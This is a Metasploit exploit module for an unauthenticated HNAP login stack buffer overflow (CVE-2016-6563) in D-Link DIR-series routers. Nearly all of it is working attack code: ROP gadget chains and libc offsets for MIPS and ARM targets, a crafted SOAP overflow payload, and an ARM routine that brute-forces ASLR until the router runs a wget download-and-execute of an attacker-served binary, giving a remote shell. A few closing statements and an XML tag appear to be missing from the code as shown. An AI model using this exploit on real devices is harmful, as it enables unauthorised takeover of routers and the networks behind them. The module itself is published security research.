D-Link DIR-Series Routers – HNAP Login Stack Buffer Overflow (Metasploit)

##

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

# Payload working status:

# MIPS:

# - all valid payloads working (the ones that we are able to send without null bytes)

# ARM:

# - inline rev/bind shell works (bind... meh sometimes)

# - stager rev/bind shell FAIL

# - mettle rev/bind fails with sigsegv standalone, but works under strace or gdb...

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::Remote::HttpServer

include Msf::Exploit::EXE

include Msf::Exploit::FileDropper

def initialize(info = {})

super(update_info(info,

'Name' => 'Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow',

'Description' => %q{

Several Dlink routers contain a pre-authentication stack buffer overflow vulnerability, which

is exposed on the LAN interface on port 80. This vulnerability affects the HNAP SOAP protocol,

which accepts arbitrarily long strings into certain XML parameters and then copies them into

the stack.

This exploit has been tested on the real devices DIR-818LW and 868L (rev. B), and it was tested

using emulation on the DIR-822, 823, 880, 885, 890 and 895. Others might be affected, and

this vulnerability is present in both MIPS and ARM devices.

The MIPS devices are powered by Lextra RLX processors, which are crippled MIPS cores lacking a

few load and store instructions. Because of this the payloads have to be sent unencoded, which

can cause them to fail, although the bind shell seems to work well.

For the ARM devices, the inline reverse tcp seems to work best.

Check the reference links to see the vulnerable firmware versions.

},

'Author' =>

[

'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module

],

'License' => MSF_LICENSE,

'Platform' => ['linux'],

'References' =>

[

['CVE', '2016-6563'],

['US-CERT-VU', '677427'],

['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt'],

['URL', 'http://seclists.org/fulldisclosure/2016/Nov/38']

],

'DefaultOptions' => { 'WfsDelay' => 10 },

'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground (ARM target)

'Targets' =>

[

[ 'Dlink DIR-818 / 822 / 823 / 850 [MIPS]',

{

'Offset' => 3072,

'LibcBase' => 0x2aabe000, # should be the same offset for all firmware versions and all routers

'Sleep' => 0x56DF0, # sleep() offset into libuClibc-0.9.30.3.so

'FirstGadget' => 0x4EA1C, # see comments below for gadget information

'SecondGadget' => 0x2468C,

'ThirdGadget' => 0x41f3c,

'PrepShellcode1' => "\x23\xbd\xf3\xc8", # addi sp,sp,-3128

'PrepShellcode2' => "\x03\xa0\xf8\x09", # jalr sp

'BranchDelay' => "\x20\x84\xf8\x30", # addi a0,a0,-2000 (nop)

'Arch' => ARCH_MIPSBE,

'Payload' =>

{

'BadChars' => "\x00",

'EncoderType' => Msf::Encoder::Type::Raw # else it will fail with SIGILL, this CPU is crippled

},

}

],

[ 'Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]',

{

'Offset' => 1024,

'LibcBase' => 0x400DA000, # we can pick any xyz in 0x40xyz000 (an x of 0/1 works well)

'System' => 0x5A270, # system() offset into libuClibc-0.9.32.1.so

'FirstGadget' => 0x18298, # see comments below for gadget information

'SecondGadget' => 0x40CB8,

'Arch' => ARCH_ARMLE,

}

],

'DisclosureDate' => 'Nov 7 2016',

'DefaultTarget' => 0))

register_options(

[

Opt::RPORT(80),

OptString.new('SLEEP', [true, 'Seconds to sleep between requests (ARM only)', '0.5']),

OptString.new('SRVHOST', [true, 'IP address for the HTTP server (ARM only)', '0.0.0.0']),

OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']),

OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']),

OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']),

], self.class)

end

def check

begin

res = send_request_cgi({

'uri' => '/HNAP1/',

'method' => 'POST',

'Content-Type' => 'text/xml',

'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' }

})

if res && res.code == 500

return Exploit::CheckCode::Detected

end

rescue ::Rex::ConnectionError

return Exploit::CheckCode::Unknown

end

Exploit::CheckCode::Safe

end

def calc_encode_addr (offset, big_endian = true)

if big_endian

[(target['LibcBase'] + offset).to_s(16)].pack('H*')

else

[(target['LibcBase'] + offset).to_s(16)].pack('H*').reverse

end

def prepare_shellcode_arm (cmd)

#All these gadgets are from /lib/libuClibc-0.9.32.1.so, which is the library used for all versions of firmware for all ARM routers

#first_gadget (pops system() address into r3, and second_gadget into PC):

#.text:00018298 LDMFD SP!, {R3,PC}

#second_gadget (puts the stack pointer into r0 and calls system() at r3):

#.text:00040CB8 MOV R0, SP

#.text:00040CBC BLX R3

#system() (Executes argument in r0 (our stack pointer)

#.text:0005A270 system

#The final payload will be:

#'a' * 1024 + 0xffffffff + 'b' * 16 + 'AAAA' + first_gadget + system() + second_gadget + command

shellcode = rand_text_alpha(target['Offset']) + # filler

"\xff\xff\xff\xff" + # n integer overwrite (see advisory)

rand_text_alpha(16) + # moar filler

rand_text_alpha(4) + # r11

calc_encode_addr(target['FirstGadget'], false) + # first_gadget

calc_encode_addr(target['System'], false) + # system() address

calc_encode_addr(target['SecondGadget'], false) + # second_gadget

cmd # our command

end

def prepare_shellcode_mips

#All these gadgets are from /lib/libuClibc-0.9.30.3.so, which is the library used for all versions of firmware for all MIPS routers

#<sleep> is at 56DF0

#first gadget - execute sleep and call second_gadget

#.text:0004EA1C move $t9, $s0 <- sleep()

#.text:0004EA20 lw $ra, 0x20+var_4($sp) <- second_gadget

#.text:0004EA24 li $a0, 2 <- arg for sleep()

#.text:0004EA28 lw $s0, 0x20+var_8($sp)

#.text:0004EA2C li $a1, 1

#.text:0004EA30 move $a2, $zero

#.text:0004EA34 jr $t9

#.text:0004EA38 addiu $sp, 0x20

#second gadget - put stack pointer in a1:

#.text:0002468C addiu $s1, $sp, 0x58

#.text:00024690 li $s0, 0x44

#.text:00024694 move $a2, $s0

#.text:00024698 move $a1, $s1

#.text:0002469C move $t9, $s4

#.text:000246A0 jalr $t9

#.text:000246A4 move $a0, $s2

#third gadget - call $a1 (stack pointer):

#.text:00041F3C move $t9, $a1

#.text:00041F40 move $a1, $a2

#.text:00041F44 addiu $a0, 8

#.text:00041F48 jr $t9

#.text:00041F4C nop

#When the crash occurs, the stack pointer is at xml_tag_value[3128]. In order to have a larger space for the shellcode (2000+ bytes), we can jump back to the beggining of the buffer.

#prep_shellcode_1: 23bdf7a8 addi sp,sp,-3128

#prep_shellcode_2: 03a0f809 jalr sp

#branch_delay: 2084f830 addi a0,a0,-2000

#The final payload will be:

#shellcode + 'a' * (2064 - shellcode.size) + sleep() + '%31' * 4 + '%32' * 4 + '%33' * 4 + third_gadget + first_gadget + 'b' * 0x1c + second_gadget + 'c' * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay

shellcode = payload.encoded + # exploit

rand_text_alpha(target['Offset'] - payload.encoded.length) + # filler

calc_encode_addr(target['Sleep']) + # s0

rand_text_alpha(4) + # s1

rand_text_alpha(4) + # s2

rand_text_alpha(4) + # s3

calc_encode_addr(target['ThirdGadget']) + # s4 (third gadget)

calc_encode_addr(target['FirstGadget']) + # initial pc / ra (first_gadget)

rand_text_alpha(0x1c) + # filler

calc_encode_addr(target['SecondGadget']) + # second_gadget

rand_text_alpha(0x58) + # filler

target['PrepShellcode1'] + # exploit prep

target['PrepShellcode2'] + # exploit prep

target['BranchDelay'] # exploit prep

end

def send_payload (payload)

begin

# the payload can go in the Action, Username, LoginPassword or Captcha XML tag

body = %{

<?xml version="1.0" encoding="utf-8"?>

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

<soap:Body>

<Action>something</Action>

<Username>Admin</Username>

<Captcha>#{payload}</Captcha>

</Login>

</soap:Body>

</soap:Envelope>

}

res = send_request_cgi({

'uri' => '/HNAP1/',

'method' => 'POST',

'ctype' => 'text/xml',

'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' },

'data' => body

})

rescue ::Rex::ConnectionError

fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")

end

# Handle incoming requests from the server

def on_request_uri(cli, request)

#print_status("on_request_uri called: #{request.inspect}")

if (not @pl)

print_error("#{peer} - A request came in, but the payload wasn't ready yet!")

return

end

print_status("#{peer} - Sending the payload to the device...")

@elf_sent = true

send_response(cli, @pl)

end

def exploit

print_status("#{peer} - Attempting to exploit #{target.name}")

if target == targets[0]

send_payload(prepare_shellcode_mips)

else

downfile = rand_text_alpha(8+rand(8))

@pl = generate_payload_exe

@elf_sent = false

resource_uri = '/' + downfile

#do not use SSL

if datastore['SSL']

ssl_restore = true

datastore['SSL'] = false

end

if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")

srv_host = Rex::Socket.source_address(rhost)

else

srv_host = datastore['SRVHOST']

end

service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri

print_status("#{peer} - Starting up our web service on #{service_url} ...")

start_service({'Uri' => {

'Proc' => Proc.new { |cli, req|

on_request_uri(cli, req)

},

'Path' => resource_uri

}})

datastore['SSL'] = true if ssl_restore

print_status("#{peer} - Asking the device to download and execute #{service_url}")

filename = rand_text_alpha_lower(rand(8) + 2)

cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &"

shellcode = prepare_shellcode_arm(cmd)

print_status("#{peer} - \"Bypassing\" the device's ASLR. This might take up to 15 minutes.")

counter = 0.00

while (not @elf_sent)

if counter % 50.00 == 0 && counter != 0.00

print_status("#{peer} - Tried #{counter.to_i} times in #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")

end

send_payload(shellcode)

sleep datastore['SLEEP'].to_f # we need to be in the LAN, so a low value (< 1s) is fine

counter += 1

end

print_status("#{peer} - The device downloaded the payload after #{counter.to_i} tries / #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")

end

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